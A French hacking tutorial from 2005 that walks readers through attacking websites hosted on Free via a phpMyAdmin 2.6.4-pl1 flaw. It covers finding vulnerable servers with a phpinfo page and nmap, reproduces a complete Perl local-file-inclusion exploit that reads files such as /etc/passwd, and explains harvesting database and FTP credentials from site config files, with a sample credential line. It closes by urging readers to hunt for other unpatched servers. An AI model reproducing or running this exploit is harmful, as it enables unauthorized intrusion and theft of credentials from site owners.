-----------------
Introduction :
-----------------
Ce tuts s'adresse a des gens ayant deja des connaissances php/mysql/phpmyadmin et developpement reseaux.
Néenmoins, quelqu'un qui s'accroche peut reussir a le faire fonctionner a merveille.
Pensez aussi que une fois root, je ne suis en aucun cas responsable des actes commis par un utilisateur mal intentionné.
Mais essayer d'eviter les deface a la con ou le delete de base sql !
-------------------------------------
Informations complementaires :
-------------------------------------
Version phpmyadmin requise : 2.6.4-pl1
-------------------------------------
Preparation - Tools necessaires :
-------------------------------------
- nmap
- win (oui je tourne sous wwin encore ^^)
- un broswer
- 2-3 connaissances reseaux
-------------------------------------------------
Preparation - Trouver un serveur faillible :
-------------------------------------------------
Bon alors la pas 36 methodes pour connaitre la version de phpmyadmin, il faut que vous arriviez a afficher un phpinfo() sur
le serveur.
Oui mais un admin ne laisse jamais trainer un phpinfo() sur son serv !
A cela plusieurs altrenatives, phpmyadmin etant une appli sur le serveur, elle sera la meme pour TOUS les sites hebergé sur
ce serveur.
On va donc s'interresser ici aux sites de chez Free.
On a tous des comptes free, on a donc tous des acces ftp sur des serveurs Free !
Alors hop on up une page web contenant les lignes :
<?
phpinfo();
?>
Et on la run sur le serveur. La, Free nous affiche : Version de PHPMyAdmin : 2.6.4-pl1
Yéééé good un serveur faillible.
Free dispose de pres de 200 serveurs, certains deja mise a jour, d'autres non.
---------------------------------------------------------------------------------------------
Preparation - Comment savoir si le site tourne sur tel ou tel serveur (le faillible) :
---------------------------------------------------------------------------------------------
Pour cela on utilise Nmap...
La commande ?? : nmap -sP host
Exemple :
C:\nmap>nmap -sP folcan.free.fr
Starting nmap 3.93 (
http://www.insecure.org/nmap ) at 2005-10-12 23:12 Paris, M
adrid (heure d'ÚtÚ)
Host perso107-g5.free.fr (212.27.63.107) appears to be up.
Nmap finished: 1 IP address (1 host up) scanned in 2.764 seconds
Ici, Free nous renseigne que le serveur est sur perso107, donc le serveur 107, tous les sites web sur ce serveur seront donc
faillible a notre exploit.
On peux remarquer aussi avec different test que le dernier octé de l'ip, ici 107 represente enfaite le numero du serveur,
tous les sites web ayant une ip se finissant par 107 hebergé chez Free seront donc faillible.
----------------
Exploitation :
----------------
On dispose donc maintenant de pas mal d'info :
- La version du phpmyadmin tournant sur le serveur, et qui est faillible
- L'ip du site cible
- Le numero de serveur Free faillible
Maintenant il faut run l'exploit !
Oui mais ou le trouver ?? Le voici :
#!/usr/bin/perl
use IO::Socket;
# SecurityReason.com TEAM
# Maksymilian Arciemowicz ( cXIb8O3 ) cxib@securtiyreason.com
#
# Local file inclusion (./$FILE)
# simple exploit phpMyAdmin 2.6.4-pl1
#
#
# SecurityReason.com
if (@ARGV < 3)
{
print "\r\n SecurityReason TEAM\r\n";
print "[cXIb8O3] EXPLOIT for phpMyAdmin 2.6.4-pl1\r\n";
print " \r\n";
print "perl phpmyadmin-2.6.4-pl1.pl HOST /DIR/ FILE\r\n\r\n";
print "HOST - Host where is phpmyadmin example: http://localhost\r\n";
print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n";
print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n";
print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost /phpMyAdmin-2.6.4-pl1/
../../../../../etc/passwd\r\n\r\n";
exit();
}
$HOST = $ARGV[0];
$DIR = $ARGV[1]."libraries/grab_globals.lib.php";
$FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=".$ARGV[2]."&subform[1][c
XIb8O3]=1";
$LENGTH = length $FILE;
print "\r\nATTACK HOST IS: ".$HOST."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80"
) || die "Error 404\r\n\r\n";
print $get1 "POST ".$DIR." HTTP/1.0\n";
print $get1 "Host: ".%HOST."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$LENGTH."\n\n";
print $get1 $FILE;
while ($odp = <$get1>)
{
if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) {
printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n";
exit;
}
printf $odp;
}
#Source : http://www.frsirt.com/exploits/20051010.phpmyadmin-2.6.4-pl1.pl.php
Bon je vous laisse le compiler par vos soin...
Pas compliqué cette exploit, vous rentré l'host, et cela vous permet de lister les fichiers du site, ainsi que de les lire.
Ca sert a rien me direz vous ?? Detrompez vous !!!
Si phpmyadmin est installé, et que le site l'utilise, il s'y connecte a un endroit, souvent dans /admin/config.php un
truc dans le genre.
Et oui, vous allez pouvoir lire les fichier comme si vous etiez en ftp, et donc afficher la source de la page, et donc le
php !!!
Vous aurez donc les lignes de codes genre :
$host="folcan.free.fr";
$user="Folcan";
$pass="Hdz34dgf";
Free sont malins, car en plus d'avoir les id de connection au phpmyadmin, vous avez aussi le ftp, etant donné que ils sont similaire !!! Simpa non ?
-------------
conclusion :
-------------
Un petit exploit bien simpa, lorsque la version de phpmyadmin est faillible !
Ne cherchez pas sur free, ils ont patché tous leurs serveurs hier apres-midi...(faut pas rever ^^)
Mais il y'a encore tellement de serveur non patché si vous arrivez a afficher un phpmyadmin et que la vers. est faillible (je crois que c l'avant derniere, et que la derniere est sortie ya meme pas une semaine, donc y'en a encore pas mal).
Bon courage

---------------------
Copyright&Tanks :
---------------------
Tutorial By -=[FoLc@N]=- ecrit le 12/10/05 a 23h45
Remerciements :
- ARf
- Team s-c
- ECS Prod Reseaux
